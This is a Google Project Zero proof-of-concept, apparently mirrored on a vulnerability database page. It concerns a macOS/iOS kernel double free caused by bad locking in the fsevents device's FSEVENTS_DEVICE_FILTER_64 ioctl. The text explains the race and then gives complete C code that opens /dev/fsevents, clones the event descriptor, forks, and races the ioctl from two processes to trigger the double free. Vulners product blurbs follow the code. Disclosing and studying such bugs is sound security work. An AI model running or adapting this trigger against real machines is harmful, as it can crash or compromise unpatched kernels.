/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1129
fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents
Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:
case FSEVENTS_DEVICE_FILTER_64:
if (!proc_is64bit(vfs_context_proc(ctx))) {
ret = EINVAL;
break;
}
devfilt_args = (fsevent_dev_filter_args64 *)data;
handle_dev_filter:
{
int new_num_devices;
dev_t *devices_not_to_watch, *tmp=NULL;
if (devfilt_args->num_devices > 256) {
ret = EINVAL;
break;
}
new_num_devices = devfilt_args->num_devices;
if (new_num_devices == 0) {
tmp = fseh->watcher->devices_not_to_watch; <------ (a)
lock_watch_table(); <------ (b)
fseh->watcher->devices_not_to_watch = NULL;
fseh->watcher->num_devices = new_num_devices;
unlock_watch_table(); <------ (c)
if (tmp) {
FREE(tmp, M_TEMP); <------ (d)
}
break;
}
There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.
This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.
/dev/fsevents is:
crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents
so this is a privesc from either root or members of the wheel group to kernel
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
(build with -O3)
The open handler for the fsevents device node has a further access check:
if (!kauth_cred_issuser(kauth_cred_get())) {
return EPERM;
}
restricting this issue to root only despite the permissions on the device node (which is world-readable)
*/
// ianbeer
#if 0
MacOS/iOS kernel double free due to bad locking in fsevents device
fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents
Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:
case FSEVENTS_DEVICE_FILTER_64:
if (!proc_is64bit(vfs_context_proc(ctx))) {
ret = EINVAL;
break;
}
devfilt_args = (fsevent_dev_filter_args64 *)data;
handle_dev_filter:
{
int new_num_devices;
dev_t *devices_not_to_watch, *tmp=NULL;
if (devfilt_args->num_devices > 256) {
ret = EINVAL;
break;
}
new_num_devices = devfilt_args->num_devices;
if (new_num_devices == 0) {
tmp = fseh->watcher->devices_not_to_watch; <------ (a)
lock_watch_table(); <------ (b)
fseh->watcher->devices_not_to_watch = NULL;
fseh->watcher->num_devices = new_num_devices;
unlock_watch_table(); <------ (c)
if (tmp) {
FREE(tmp, M_TEMP); <------ (d)
}
break;
}
There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.
This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.
/dev/fsevents is:
crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents
so this is a privesc from either root or members of the wheel group to kernel
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
(build with -O3)
#endif
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <pthread.h>
#include <unistd.h>
typedef uint64_t user64_addr_t;
typedef struct fsevent_clone_args64 {
user64_addr_t event_list;
int32_t num_events;
int32_t event_queue_depth;
user64_addr_t fd;
} fsevent_clone_args64;
#define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64)
#pragma pack(push, 4)
typedef struct fsevent_dev_filter_args64 {
uint32_t num_devices;
user64_addr_t devices;
} fsevent_dev_filter_args64;
#pragma pack(pop)
#define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64)
void* racer(void* thread_arg){
int fd = *(int*)thread_arg;
printf("started thread\n");
fsevent_dev_filter_args64 arg = {0};
int32_t dev = 0;
while (1) {
arg.num_devices = 1;
arg.devices = (user64_addr_t)&dev;
int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);
if (err == -1) {
perror("error in FSEVENTS_DEVICE_FILTER_64\n");
exit(EXIT_FAILURE);
}
arg.num_devices = 0;
arg.devices = (user64_addr_t)&dev;
err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);
if (err == -1) {
perror("error in FSEVENTS_DEVICE_FILTER_64\n");
exit(EXIT_FAILURE);
}
}
return NULL;
}
int main(){
int fd = open("/dev/fsevents", O_RDONLY);
if (fd == -1) {
perror("can't open fsevents device, are you root?");
exit(EXIT_FAILURE);
}
// have to FSEVENTS_CLONE this to get the real fd
fsevent_clone_args64 arg = {0};
int event_fd = 0;
int8_t event = 0;
arg.event_list = (user64_addr_t)&event;
arg.num_events = 1;
arg.event_queue_depth = 1;
arg.fd = (user64_addr_t)&event_fd;
int err = ioctl(fd, FSEVENTS_CLONE_64, &arg);
if (err == -1) {
perror("error in FSEVENTS_CLONE_64\n");
exit(EXIT_FAILURE);
}
if (event_fd != 0) {
printf("looks like we got a new fd %d\n", event_fd);
} else {
printf("no new fd\n");
}
pid_t pid = fork();
if (pid == 0) {
racer(&event_fd);
} else {
racer(&event_fd);
}
return 1;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation